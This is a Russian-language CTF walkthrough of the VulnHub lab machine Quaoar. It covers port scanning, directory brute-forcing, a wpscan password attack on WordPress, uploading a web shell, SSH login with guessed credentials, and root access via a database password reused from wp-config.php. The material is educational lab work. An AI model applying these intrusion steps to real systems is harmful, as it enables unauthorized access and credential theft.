VulnHub: Новая серия — hackfest2016 Quaoar
Всем доброго времени суток. Давно я не выкладывал райтапы лаб с VulnHub. За это время там появилась небольшая подборка образов виртуальных машин, готовых для взлома. В этой статье начнём разбор образов подготовленных к недавно прошедшему Hackfest 2016 CTF, а именно рассмотрим Quaoar, скачать которую вы можете тут
Всего, как следует из описания, присутствует 3 флага:
1. Получение доступа к оболочке;
2. Повышение привилегий до root;
3. Постэксплуатация.
С более подробным описанием желающие могут ознакомиться самостоятельно, поэтому приступим.
Флаг 1
После запуска виртуалки, нам любезно сообщают IP-адрес, по которому она доступна:
Поэтому сразу переходим к сканированию портов:
$ sudo nmap -p1-65535 192.168.1.75 -sV
Starting Nmap 7.01 (nmap.org) at 2017–04–16 16:26 MSK
Nmap scan report for 192.168.1.75
Host is up (0.00043s latency).
Not shown: 65526 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
53/tcp open domain ISC BIND 9.8.1-P1
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
110/tcp open pop3?
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
143/tcp open imap Dovecot imapd
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
993/tcp open ssl/imap Dovecot imapd
995/tcp open ssl/pop3s?
MAC Address: 08:00:27:0A: CA:7B (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o: linux: linux_kernel
В описании говорилось про поиск директорий. Ищем:
$ sudo dirsearch -u http://192.168.1.75/ -w /opt/dirb/wordlists/big.txt -e php,txt,bak,html -x 403 -r -f
Большая часть найденного это картинки в стиле этого:
В upload лежит какой-то сайт с захардкоженным ip’шником.
$ ./robotscan.py -u http://192.168.1.75/upload/ -w /opt/dirb/wordlists/big.txt -e php,txt,bak,html -x 403
Менять ip мне лень, поэтому его пока оставим, а вот в директории wordpress полноценный блог. Плюс на него ссылается и файл robots.txt.
Посмотрим, что скажет wpscan:
$ sudo ./wpscan.rb --url http://192.168.1.75/wordpress/ --wordlist /usr/share/john/password.lst
Wpscan нашёл верный пароль, хоть и сам этого не понял. Логинимся в админке, и заливаем туда простенький шелл:
Первым делом посмотрим содержимое /etc/passwd
В домашней директории пользователя wpadmin, находим первый флаг:
Флаг2
Раз от админки в wordpress пароль оказался таким же как логин, стоит попробовать тот же приём и для ssh:
$ ssh wpadmin@192.168.1.75
Указав в качестве пароля wpadmin, успешно проваливаемся в оболочку. Поиск SUID/SGID файлов результата не принёс. Посмотрев конфиги на наличие хоть каких-то паролей, находим один интересный:
wpadmin@Quaoar:~$ cat wp-config.php
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'rootpassword!');
Это когфиг для коннекта к БД, но вдруг этот пароль ещё и от учётки… Проверяем это и +1 флаг в домашней директории рута:
root@Quaoar:~# cat flag.txt
8e3f9ec016e3598c5eec11fd3d73f6fb
Флаг3
Если с первыми 2 мя флагами всё более менее ясно, то поиск третьего занял слишком много времени. Я пытался найти ещё файлы с названием flag
root@Quaoar:~# find / -name flag.txt
/root/flag.txt
/home/wpadmin/flag.txt
root@Quaoar:~# find / -name flag
Но ничего. Попытка поиска по содержимому по слову flag, так же не принесла результата:
root@Quaoar:~# grep -r flag / | less
В конечном счёте было решено, что раз флаг — это MD5 хеш, то его вероятно можно отыскать с помощью регулярных выражений. Сказано, сделано:
root@Quaoar:~# egrep -r " [a-z0-9]{32,32}" /etc/ 2>/dev/null
...
/etc/cron.d/php5:# Its always a good idea to check for crontab to learn more about the operating system good job you get 50! - d46795f84148fd338603d0d6a9dbf8de
Конечно, логично было бы предварительно просмотреть задачи в cron, но альтернатива тоже хорошо.
На этом всё. Все 3 флага найдены. Можно приступать к следующему уровню.